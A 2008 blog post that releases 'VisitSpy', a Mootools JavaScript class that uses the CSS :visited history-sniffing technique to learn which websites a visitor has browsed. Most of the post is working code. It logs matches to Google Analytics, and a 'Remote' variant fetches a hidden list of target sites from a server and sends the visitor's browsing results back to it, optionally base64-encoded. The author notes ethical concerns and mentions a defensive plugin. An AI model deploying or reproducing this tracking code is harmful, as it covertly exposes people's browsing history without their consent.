Dec 04 2008

3

VisitSpy - Where have you been lately?

Category: Javascript, MootoolsTags: , ,

As many are aware Javascript has been crippled by design. These design decisions were put in place to protect your privacy from rouge websites. VisitSpy is not a Javascript exploit, it is an exploit in CSS. CSS has built in styling for displaying links in different colors to communicate to you, the user, that you have previously viewed the link. With this visual cue we can use Javascript to find out if you have visited a site.

I think it is important to note that I did not discover this exploit, Jeremiah Grossman did. He provided a proof of concept but it is not full proof. His code requires a specific color to be used for the link. In VisitSpy I have implemented a dynamic stylesheet to prevent any kind of misreadings. I definitely feel that there are some ethical concerns to using such a technique. I myself have only used the follow script to make sure it works. It is not implemented on my site nor do I ever plan to. Some may ask “Then why even posted it?”. Information is power. To prevent this exploit while you surf around the internet I recommend you checkout SafeHistory for Firefox. SafeHistory, hides all visited links unless the link was directly linked to the current site. With this plugin the CSS exploit is removed.

Now onto the fun part!

As I mentioned before I found the original implementation to be pretty lame and incomplete. It offered no real value. I asked myself “If I was to use this exploit, how could I use this information to my advantage?”. The idea I came up with was to incorporate Google Analytics. The code is written using the Mootools Framework.

VisitSpy = new Class({
 
	Implements : [Options,Events],
 
	built : false,
	gaReady : false,
	matches : [],
 
	options : {
		'autorun' : true,
		'useGA' : false,
		'prepend' : 'visited: ',
		'id' : 'VisitSpy',
		'links' : [],
		'onReady' : $empty,
		'onMatch' : $empty,
		'onComplete' : $empty
 	},
 
	initialize : function(options){
		this.setOptions(options);
 
		if(this.options.useGA) this.addEvent('onMatch',this.setVar.bind(this));					
 
		if(this.options.autorun) {
			window.addEvent('domready', function(){
				this.inject();
				if(this.options.useGA) this.checkGA();
				this.loaded();
			}.bind(this));
		}
	},
 
	inject : function(){
		if(!Browser.loaded) return this.inject.delay(50,this);
		if(this.built) return;
 
		this.spy = new Element('div',{
			'id' : this.options.id,
			'styles' : { 'display' : 'none' }
		}).inject(document.body);
 
		this._css = new Element('style').set('type', 'text/css').inject(document.head);
		var text = '#'+this.options.id+' a { color : #000000 }  #'+this.options.id+' a:visited { color : #ffffff }';
		if(Browser.Engine.name == 'trident') this._css.styleSheet.cssText = text;
		else this._css.set('text',text);
 
		this.built = true;
	},
 
	loaded : function(){
		if(!this.built || (this.options.useGA && !this.gaReady)) return this.loaded.delay(50,this);
		this.fireEvent('onReady');
		if(this.options.autorun) this.checkLinks();			
	},
 
	checkGA : function(){
		if(this.gaReady) return;
		if($defined(pageTracker) && $type(pageTracker) == 'object' && $type(pageTracker._setVar) == 'function') this.gaReady = true;
		else this.checkGA.delay(50,this);
	},
 
	setLinks : function(links){
		this.options.links = links;
		this.loaded();
	},
 
	checkLinks : function(){
		this.matches = [];
		this.options.links.each(function(link,idx){
			var a = new Element('a',{'href' : 'http://'+link}).set('text','#').inject(this.spy);
			if( a.getStyle('color') == '#ffffff') this.fireEvent('onMatch',link);
			a.destroy();
		},this);
		this.fireEvent('onComplete', this.matches, 20);
		this.reset();
	},
 
	setVar : function(link){
		if(!this.gaReady) return;
		pageTracker._setVar(this.options.prepend+link);
	},
 
	reset : function(){
		this.matches = [];
		this.options.links = [];
	},
 
	remove : function(){
		this.built = false;
		this.spy.destroy();
		this._css.destroy();
 
	}
});

There are several options that can be used.

  • autorun : will automatically insert and run when the dom is ready (default : true )
  • useGA : will use Google Analytics and set a variable if a link matches (default : false)
  • prepend : only used with ‘useGA’, it prepends the string to the matching link for easier access in your Google Analytics account (default : ‘visited: ‘)
  • id: the DOM id used where the links are tested. (default : ‘VisitSpy’)
  • links : an array passed in of all the links you want to test. (default : [] )
  • onReady: an event fired when css has been injected and if GA is being used that it has been loaded. This event is only needed if you plan on not using the autorun feature
  • onMatch: an event fired when a link has tested positive for a visit. passes the url as a parameter
  • onComplete: an event fired when all links have been tested.

If you use the ‘useGA’ option an ‘onMatch’ event is automatically attached to set a Google Analytics variable to show up in your reports.

Simple usage:

new VisitSpy({
   links : ['www.google.com','www.nwhite.net'], 
   onMatch : function(link){ alert(link); }
});

After this little exercise was over I realized that if I were to actually use this script I probably would want to hide the urls I would be testing. So I came up with a remote version.

VisitSpy.Remote = new Class({
 
	Extends : VisitSpy,
 
	haveLinks : false,
 
	options : {
		'url' : '',
		'encoded' : false
	},
 
	initialize : function(options){
 
		this.parent(options);
 
		this.request  =  new Request.JSON({
				url : this.options.url, 
				onComplete : function(request){
					if(!request.data) return;
					this.options.links = (this.options.encoded) ? Base64.decode(request.data).split(',') : request.data;
					this.haveLinks = true;
				}.bind(this)
		});
 
		if(this.options.autorun){
			this.getLinks();
			this.addEvent('onComplete',this.send.bind(this));
		}
	},
 
	setLinks : function(links){
		this.haveLinks = true;
		this.parent();
	},
 
	getLinks : function(){
		this.request.get({'encoded' : this.options.encoded});
	},
 
	loaded : function(){
		if(!this.haveLinks) return this.loaded.delay(50,this);
		this.parent();
	},
 
	send : function(links){
		this.request.get({ 
			encoded : this.options.encoded, 					
			data : (this.options.encoded) ? Base64.encode(links.join(',')) : links
		});
	},
 
	reset : function(){
		this.parent();
		this.haveLinks = false;
	}
 
});

VisitSpy.Remote extends VisitSpy so it has all the same features but now it allows for pulling in the urls from a JSON request. In addition it has an option for the ultra paranoid, bilateral base64 encoding.

While I have no use for these scripts they were a great way to play around with Mootools. I was able to handle quite a bit of complex state checking easily with Mootools API.

Tags: , ,

3 Responses to “VisitSpy - Where have you been lately?”

  1. google checkout | Digg hot tags says:

    [...] Vote VisitSpy - Where have you been lately? [...]

  2. Tom Stone says:

    VisitSpy works fine, but I think something is missing from the Remote version, either in code or documentation.
    When trying it out, Firebug says: “request is undefined” on the line “if(!request.data) return;”
    Also, would it be possible to get an example on how the JSON file should look?

  3. Tom Stone says:

    It’s not very clear on how to make use of Analytics.
    Setting the option useGA : true result in an error in Firebug; “pageTracker is not defined” in the “checkGA”-function - so obviously, I’m missing something. Any advice?

Leave a Reply